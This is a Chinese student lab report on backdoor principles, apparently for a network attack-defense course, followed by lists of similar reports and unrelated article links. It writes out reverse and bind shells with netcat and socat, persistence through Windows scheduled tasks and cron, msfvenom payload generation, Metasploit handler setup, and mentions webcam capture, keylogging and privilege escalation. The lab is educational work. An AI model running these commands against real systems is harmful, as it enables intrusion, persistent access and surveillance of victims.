1.实践基础

1.1.什么是后门

  • 后门就是系统或者软件在不经过正常认证流程就可以连接或使用的通道。
  • 后门的产生有以下原因:

1.系统或软件在编写最初时程序员人为留下的特殊通道

2.系统或软件在编写时由于程序本身的原因产生的漏洞而被不法分子利用产生的后门

3.不法分子利用自制木马或其他攻击程序植入正常用户的主机产生的后门

1.2.基础问题

  • 例举你能想到的一个后门进入到你系统中的可能方式?

随意点击网页链接浏览未知内容的网页

随意在网上下载未经认证的软件

使用游戏外挂

  • 例举你知道的后门如何启动起来(win及linux)的方式?

Windows中启动应用程序时被启动

Linux中后台输入命令启动

  • Meterpreter有哪些给你映像深刻的功能?

可以在一个正常的可执行文件中添加反弹链接的代码,使得它成为一个后门

通过该软件可以调取被入侵主机的摄像头和音频输入设备,实现实时拍照,摄像和录音的功能,还能监听被入侵主机的键盘输入,获取其当前输入的内容,这就让我们想到盗取用户密码等...可怕的事情

  • 如何发现自己有系统有没有被安装后门?

1.通过杀毒软件的防护和扫描功能

2.不定时的检查电脑当前运行中的各种程序,发现异常进程因立即关闭

2.实践内容

2.1.使用netcat获取主机操作Shell,cron启动

  • kali中是自带netcat软件的所以我们不需要下载就可以正常使用。而Windows系统中是没有该程序的,需要先下载才可以进行我们的实验。

    可以在老师的码云附件中下载(下载链接),无需安装解压即可使用。

注:由于控制需要通过网络,所以要首先保证攻击方主机和被攻击者主机网络是可连通的,由于实验是用虚拟机与物理机相互攻击,且两者使用同一网络,所以不存在该问题。

  • 获取IP地址,Windows系统输入ipconfig,Linux系统输入ifconfig

  • 在Linux系统中打开命令行,输入

nc -l -p 2329

在Windows系统中进入netcat程序所在文件夹,打开命令行输入

ncat 172.16.2.34 2329 -e cmd.exe

注:netcat中参数

-l 代表开启监听

-p 指定端口

-e 发送一个指定应用程序



  • 两个系统可以互相实现调用shell的操作,不过Linux发送的是-e /bin/sh而不是cmd.exe

2.2.使用socat获取主机操作Shell, 任务计划启动

  • socat拥有的功能与netcat并没有什么区别,这部分主要是使用Windows的任务计划的功能让其在某个特定时段自动开启连接

  • 首先进入

控制面板-->搜索“管理工具”-->任务计划  并进入

  • 点击创建任务

  • 在触发器选项卡中设置在每天用户登录时启动
  • 在操作中加入socat.exe在可选参数中填入
tcp-listen:2329 exec:cmd.exe,pty,stderr

  • 使用快捷键Win+L快速注销用户再重新登录,可以发现程序已经启动了

  • 然后在kali中输入

socat - tcp:172.16.2.65 2329

就可以连接到任务Windows主机了

同样也可以在Linux上设置计划任务,用Windows去连接,Linux命令格式如下:

* * * * * socat tcp-listen:[PORT] exec:/bin/sh,pty,stderr
//分 时 日 月 年 命令 参数:端口号 发送程序,类型

2.3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.2.34 `PORT=2329 -f exe > 20162329_backdoor.exe

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.

-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。

-e 使用的编码器,用于对shellcode变形,为了免杀。

-i 编码器的迭代次数。如上即使用该编码器编码5次。

-b badchar是payload中需要去除的字符。

LHOST 是反弹回连的IP

LPORT 是回连的端口

-f 生成文件的类型

> 输出到哪个文件

  • 使用ncat命令实现文件的传输

可以看到我们做好的后门已经传输到了Windows系统上,然后运行我们这个程序结果什么事情都没有发生,但其实后门已经打开了,接下来就是实现后门的连接和做一些 骚操作

  • 首先要在Linux系统上打开对后门程序的连接监听
  • 输入msfconsole进入MSF控制台,如图还给我们画出了一个小忍者(黑客):
  • 依次输入下列命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.2.34
set LPORT 2329
exploit
  • 结果就连接成功了,如下图:

2.4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 那我们能做点什么呢?help一下

  • 发现我们有好多事情可以做,比如调用对方的摄像头,拍个照

  • 提个权吧

3.总结与体会

通过本次实验切实的了解了什么是后门,并且通过一系列操作在一定条件下我们也自己实现了后门的制作和渗透入侵,这也让我意识到了网络安全的重要性,然后想了想以前自己在网上随便下载软件和打开网页,真是让我感到细思极恐。实验既有趣又有用,我觉得以后我一定会更注意网络安全防护!!

2018-2019-2 网络对抗技术 20162329 Exp2 后门原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  3. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  4. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  5. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  6. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

  9. 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...

随机推荐

  1. 【SQL学习笔记】一、select语句

    SQL有别于其他的编程语言的一点在于首先处理的并不是写在第一行的语句(select),而是from字句. 为了更详细的了解select语句的每个部分,举例如下: 该语句返回的结果是下订单超过4次的女顾 ...

  2. vue+webpack项目 url的问题了解

    阮一峰js模块化 webpack打包 url-loader vue Loader ES6 模块化  babel成CommonJS规范的实现 能正常显示图片的写法如下, src通过控制台可以看到被web ...

  3. 【作业3.0】HansBug的第三次博客规格总结

    转眼间第三次作业了,似乎需要说点啥,那就说点. 规格&工业 说到这个,不得不提一下软件开发的发展史. 历史的进程 早在上世纪50年代,就已经有早期的编程语言出现,也开始有一些程序编写者出现(多 ...

  4. jQuery新版本没有了Toggle事件,两个按钮分别控制隐藏显示,同时这两个按钮点击也要互斥。

    十二月没来得及整理发布,一直在草稿箱.现在已经2019年1月了... 需求大概是这样的 //XX点击事件 var flagBar = 0; $("#doNotBaseRate"). ...

  5. spring boot集成swagger,自定义注解,拦截器,xss过滤,异步调用,guava限流,定时任务案例, 发邮件

    本文介绍spring boot集成swagger,自定义注解,拦截器,xss过滤,异步调用,定时任务案例 集成swagger--对于做前后端分离的项目,后端只需要提供接口访问,swagger提供了接口 ...

  6. opcourse sql布尔盲注 WP复现

    当时做这题的时候,写了脚本,用的if(mid())<>来爆破的,可能因为写脚本不擅长,写的太乱了,直接把payload写进mid里,整个一堆,然后括号对着WP看的时候,少了好几个括号,导致 ...

  7. rsyncd启动脚本

    #!/bin/bash ############################################################## # File Name: -.sh # Versi ...

  8. 简单易懂的解释c#的abstract和virtual的用法和区别

    先来看abstract方法,顾名思义,abstract方法就是抽象方法. 1.抽象方法就是没有实现的,必须是形如: public abstract void Init(); 2.拥有抽象方法的类必须修 ...

  9. LeetCode.数字转罗马数字

    罗马数字包含以下七种字符: I, V, X, L,C,D 和 M. 字符 数值 I 1 V 5 X 10 L 50 C 100 D 500 M 1000 例如, 罗马数字 2 写做 II ,即为两个并 ...

  10. pptpd免radius限速、限连接+自由定制功能脚本

    因为就几个用户懒得上radius,所以手写了一个用户管理脚本. 脚本很简单,具体直接看repo吧. https://github.com/esxgx/pptpd-exscripts